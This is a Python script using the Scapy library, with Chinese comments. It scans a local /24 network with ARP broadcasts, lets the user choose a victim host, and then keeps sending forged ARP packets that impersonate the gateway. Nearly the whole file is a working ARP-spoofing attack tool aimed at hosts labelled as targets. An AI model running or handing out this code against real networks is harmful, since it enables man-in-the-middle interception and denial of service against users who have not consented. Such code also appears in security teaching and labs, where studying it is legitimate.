from scapy.all import *
from scapy.layers.l2 import getmacbyip, Ether, ARP
import re


# interFACE = "Qualcomm Atheros AR956x Wireless Network Adapter"
# # 靶机
# target_ip = "192.168.1.4"
# # 本机ip（攻击机）
# local_ip = "192.168.1.3"
# # 网关
# gate_ip = "192.168.1.1"


class MyArp(object):
    def __init__(self):
        # 保存扫描结果
        self.num = -1
        self.result = []
        # 网卡
        pattern = re.compile('\[.*?\]')
        self.interFACE = pattern.findall(str(conf.iface))[0].replace('[','').replace(']','')

        # 靶机
        self.target_ip = ''
        # 本机ip（攻击机）
        self.local_ip = get_ip_from_name(self.interFACE)
        # 网关
        self.gate_ip = "192.168.1.1"

        # 靶机mac
        self.target_mac = ''
        # 本机mac
        self.local_mac = get_if_hwaddr(self.interFACE)     
        # 网关
        self.gate_mac = getmacbyip(self.gate_ip)


    def scan_arround(self):
        #构造数据包   Ether()层可以省略构造内容,因为默认就是,当然可以写上,可以加快速度
        p=Ether(dst="ff:ff:ff:ff:ff:ff",src=self.local_mac)/ARP(pdst="192.168.1.0/24")
        #数据包发送,srp同时收到响应数据包和不响应数据包,需要用两个变量来接收。
        #ans中有请求有响应,unans只有请求没有响应
        ans,unans=srp(p,iface=self.interFACE,timeout=2)
        print("一共扫描到了%d个主机"%len(ans))
        #ans是元组的形式,可以测试ans[0],发现结果是元组的形式
        for s,r in ans:
            self.result.append([r[ARP].psrc,r[ARP].hwsrc])   #把目标的IP以及MAC地址加入到新的列表

        self.result.sort()   #对列表进行排序
        #遍历列表,打印ip以及对应的mac地址
        for ip,mac in self.result:
            self.num = self.num + 1
            print(self.num,":",ip,"--->",mac)
            

    def get_target(self):
        while True:
            print("请输入您要ARP欺骗的主机序号：")
            i = int(input())
            if(i<=self.num):
                self.target_ip = self.result[i][0]
                self.target_mac = self.result[i][1]
                break
            else:
                print("输入的主机序号不符合要求！")
        


    def arpspoof(self):
        
        pack = Ether(dst=self.target_mac,src=self.local_mac)/ARP(op=1,hwsrc=self.local_mac,psrc=self.gate_ip,hwdst=self.target_mac,pdst=self.target_ip)
        sendp(pack,inter=2,iface=self.interFACE)




if __name__ == '__main__':
    myarp = MyArp()

    myarp.scan_arround()
    myarp.get_target()

    print("您已经选择了主机：target_ip: {0}，tartget_mac: {1}".format(myarp.target_ip,myarp.target_mac))
    while True:
        try:
            myarp.arpspoof()
            time.sleep(0.5)
        except KeyboardInterrupt:
            print("结束ARP")
            break
